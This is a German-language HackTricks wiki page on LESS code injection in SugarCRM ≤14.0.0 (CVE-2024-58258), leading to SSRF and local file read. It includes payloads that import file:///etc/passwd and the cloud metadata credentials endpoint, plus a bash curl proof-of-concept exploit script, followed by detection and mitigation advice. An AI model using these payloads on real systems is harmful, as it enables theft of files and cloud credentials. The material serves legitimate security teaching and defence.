mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
76 lines
4.0 KiB
Markdown
76 lines
4.0 KiB
Markdown
# LESS Code Injection, die zu SSRF & Local File Read führt
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Übersicht
|
||
|
||
LESS ist ein beliebter CSS-Präprozessor, der Variablen, Mixins, Funktionen und die leistungsstarke `@import`-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine **die in `@import`**-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten ("inline"), wenn die Option `(inline)` verwendet wird.
|
||
|
||
Wenn eine Anwendung **benutzergesteuerte Eingaben** in einen String einfügt, der später vom LESS-Compiler geparst wird, kann ein Angreifer **willkürlichen LESS-Code** injizieren. Durch den Missbrauch von `@import (inline)` kann der Angreifer den Server zwingen, Folgendes abzurufen:
|
||
|
||
* Lokale Dateien über das `file://`-Protokoll (Informationsoffenlegung / Local File Inclusion).
|
||
* Remote-Ressourcen in internen Netzwerken oder Cloud-Metadaten-Diensten (SSRF).
|
||
|
||
Diese Technik wurde in realen Produkten wie **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview`-Endpunkt) beobachtet.
|
||
|
||
## Ausnutzung
|
||
|
||
1. Identifizieren Sie einen Parameter, der direkt in einen Stylesheet-String eingebettet ist, der von der LESS-Engine verarbeitet wird (z. B. `?lm=` in SugarCRM).
|
||
2. Schließen Sie die aktuelle Anweisung und injizieren Sie neue Direktiven. Die häufigsten Primitiven sind:
|
||
* `;` – beendet die vorherige Deklaration.
|
||
* `}` – schließt den vorherigen Block (falls erforderlich).
|
||
3. Verwenden Sie `@import (inline) '<URL>';`, um willkürliche Ressourcen zu lesen.
|
||
4. Optional können Sie einen **Marker** (`data:` URI) nach dem Import injizieren, um die Extraktion des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern.
|
||
|
||
### Local File Read
|
||
```
|
||
1; @import (inline) 'file:///etc/passwd';
|
||
@import (inline) 'data:text/plain,@@END@@'; //
|
||
```
|
||
Der Inhalt von `/etc/passwd` wird in der HTTP-Antwort kurz vor dem `@@END@@` Marker angezeigt.
|
||
|
||
### SSRF – Cloud-Metadaten
|
||
```
|
||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||
@import (inline) 'data:text/plain,@@END@@'; //
|
||
```
|
||
### Automatisierte PoC (SugarCRM-Beispiel)
|
||
```bash
|
||
#!/usr/bin/env bash
|
||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||
|
||
TARGET="$1" # Base URL of SugarCRM instance
|
||
RESOURCE="$2" # file:// path or URL to fetch
|
||
|
||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||
|
||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||
```
|
||
## Detection
|
||
|
||
* Suchen Sie nach dynamisch generierten `.less` oder `.css` Antworten, die unsanitized Query-Parameter enthalten.
|
||
* Durchsuchen Sie bei der Code-Überprüfung Konstruktionen wie `"@media all { .preview { ... ${userInput} ... } }"` die an LESS-Renderfunktionen übergeben werden.
|
||
* Exploit-Versuche enthalten oft `@import`, `(inline)`, `file://`, `http://169.254.169.254` usw.
|
||
|
||
## Mitigations
|
||
|
||
* Geben Sie **keine** untrusted Daten an den LESS-Compiler weiter.
|
||
* Wenn dynamische Werte erforderlich sind, **escapen**/sanitizen Sie diese ordnungsgemäß (z. B. auf numerische Tokens beschränken, Whitelists).
|
||
* Deaktivieren Sie, wenn möglich, die Möglichkeit, `(inline)` Importe zu verwenden, oder beschränken Sie die erlaubten Protokolle auf `https`.
|
||
* Halten Sie Abhängigkeiten auf dem neuesten Stand – SugarCRM hat dieses Problem in den Versionen 13.0.4 und 14.0.1 behoben.
|
||
|
||
## Real-World Cases
|
||
|
||
| Produkt | Verwundbarer Endpunkt | Auswirkung |
|
||
|---------|-----------------------|------------|
|
||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & lokale Dateilesen |
|
||
|
||
## References
|
||
|
||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
|
||
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|